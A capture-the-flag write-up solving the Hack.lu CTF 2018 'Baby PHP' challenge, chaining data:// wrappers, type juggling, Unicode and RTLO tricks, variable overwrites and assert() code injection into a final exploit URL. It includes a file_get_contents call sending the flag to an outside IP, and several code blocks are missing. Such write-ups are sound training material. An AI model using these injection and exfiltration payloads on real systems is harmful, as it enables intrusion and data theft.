Information#
CTF#
- Name : Hack.lu CTF 2018
- Website : arcade.fluxfingers.net
- Type : Online
- Format : Jeopardy
- CTF Time : link
Baby PHP - Web#
PHP is a popular general-purpose scripting language that is especially suited to web development.
Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.
Can you untangle this mess?!
Here is the source code:
1 |
|
step 0: setting a debug app#
I hosted a debug app locally to try the various payloads during the whole challenge:
1 | $ php -S 127.0.0.1:8080 |
1 |
|
step 1: file_get_contents#
First die()
to bypass:
1 | @$msg = $_GET['msg']; |
Let's see the behavior of file_get_contents
(PHP manual). It can make http requests if the string is evaluated to an URL.
1 | php > var_dump(file_get_contents('http://myserver/babyphp')); |
So I tried a RFI attack https://arcade.fluxfingers.net:1819/?msg=http://myserver/babyphp
but my remote server is never hit, so remote connections must not be allowed.
So we will use a PHP wrapper.
php://input
works but won't be very handy for the next steps of the challenge.
1 | $ curl -X POST 'https://arcade.fluxfingers.net:1819/?msg=php://input' --data 'Hello Challenge!' |
We can avoid to use php://input
by using data://
.
1 | php > var_dump(file_get_contents('data://text/plain,Hello Challenge!')); |
https://arcade.fluxfingers.net:1819/?msg=data://text/plain,Hello%20Challenge!
step 2: value and type#
1 | if(intval($k1) !== $cc || $k1 === $cc){ |
We need $k1
and $cc
of different types but with the same value.
1 | php > $cc=1337; |
step 3: unicode character and type juggling#
Now we need to enter this condition to be able to set/override cc
.
1 | if(strlen($k2) == $bb){ |
First we need to know that strlen
will return the number of bytes not the number of characters.
http://php.net/manual/en/function.strlen.php
strlen() returns the number of bytes rather than the number of characters in a string.
You saw this like me?
Needing a payload with only numeric chars but not evaluated as a numeric?
Impossible ... unless this end of the line dollar sign $
is not a dollar sign but an unicode char that looks like it.
'/^\d+$/'
is not '/^\d+$/'
(copy/paste it and open it with an hex editor if you need to be sure).
This is not a true $
but \xEF\xBC\x84
.
So we only need a payload that begin with numeric chars but the containing whatever we want and then ending with this unicode char.
1 | php > $k2='123456789012345678901234567890123456789$'; |
But we need it equal to 1337 and we can count on the weird PHP type juggling for that:
1 | php > $k2='000000000000000000000000000000000001337$'; |
Here is my payload so far on my debug app:
view-source:http://127.0.0.1:8080/test.php?msg=data://text/plain,Hello%20Challenge!&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84
1 | msg bypassed |
step 4: shuffling#
Let's see what is happening here:
1 | list($k1,$k2) = [$k2, $k1]; |
1 | php > var_dump(list($k1,$k2) = [$k2, $k1]); |
They have been reverted.
step 5: pay attention to the return values#
1 | if(substr($cc, $bb) === sha1($cc)){ |
A sha1 hash is 40 char long.
So we need a payload like that to bypass substr($cc, $bb) === sha1($cc)
.
1 | php > var_dump(strlen(sha1("a"))); |
Looks hard to compute that, let's find another way.
Here we have a strict comparison but we will abuse the return value of substr()
and sha1()
when handling arrays.
1 | php > var_dump(substr([], 42)); |
Here is the local payload so far:
view-source:http://127.0.0.1:8080/test.php?msg=data://text/plain,Hello%20Challenge!&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=a
1 | msg bypassed |
step 6: RTLO char#
1 | $‮b = "2";$a="‮b";//;1=b |
Looks so weird, isn't it?
Again we will see that in hex:
1 | 00000000: 0a24 e280 ae62 203d 2022 3222 3b24 613d .$...b = "2";$a= |
So this is not $b=1;//;"b"=a$;"2" = b
as it looks like but $<202e>b = "2";$a="<202e>b";//;1=b
.
This is using a RTLO char, I already wrote some stuff about it.
step 7: dynamic variables' mess#
1 | if($$a !== $k1){ |
If you are unfamiliar with the concept, I invite you to check the PHP manual about variable variable aka dynamic variable (http://php.net/manual/en/language.variables.variable.php).
To match $$a !== $k1
, let's sum up what we saw in the previous step.
1 | $k1 === "000000000000000000000000000000000001337$" |
But before we had:
1 | foreach ($_GET as $lel => $hack){ |
That will take all GET parameters and set the as variables and will allow us to override all variables or set new ones.
So we only need to set a new variable k1
and to add &k1=2
to the request.
The payload so far:
1 | msg bypassed |
step 8: assert#
1 | // plz die now |
We won't die here.
We just need to RTFM: http://php.net/manual/en/function.assert-options.php
assert_options — Set/get the various assert flags
ASSERT_BAIL
=> terminate execution on failed assertions if set to 1
Ok, why not. I'm not scared.
I first tried to fix something like that by sending ";echo($flag);"$cc
.
1 | assert("";echo($flag);"$cc" == $cc"); |
But that didn't work, so I kept RTFM.
Traditional assertions (PHP 5 and 7)#
If the assertion is given as a string it will be evaluated as PHP code by assert(). If you pass a boolean condition as assertion, this condition will not show up as parameter to the assertion function which you may have defined with assert_options(). The condition is converted to a string before calling that handler function, and the boolean FALSE is converted as the empty string.
In PHP 5 a string will be evaluated, not in PHP 7.
Then I tried this invalid payload:
1 | file_get_contents('http://37.187.1.79:9999?$flag')");// |
But I remembered that remote connections were disabled.
So I was forced to disclose the flag locally with:
1 | highlight_file('flag.php');// |
This will generate the following code:
1 | assert("highlight_file('flag.php');// == $cc"); |
This won't be seen as a boolean comparison and the string will be evaluated AND this is a valid assertion so we don't care about ASSERT_BAIL
.
Final payload, end of THE GAME:
https://arcade.fluxfingers.net:1819/?msg=data://text/plain,Hello%20Challenge!&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=&k1=2&bb=highlight_file(%27flag.php%27);//
The flag was: flag{7c217708c5293a3264bb136ef1fadd6e}
.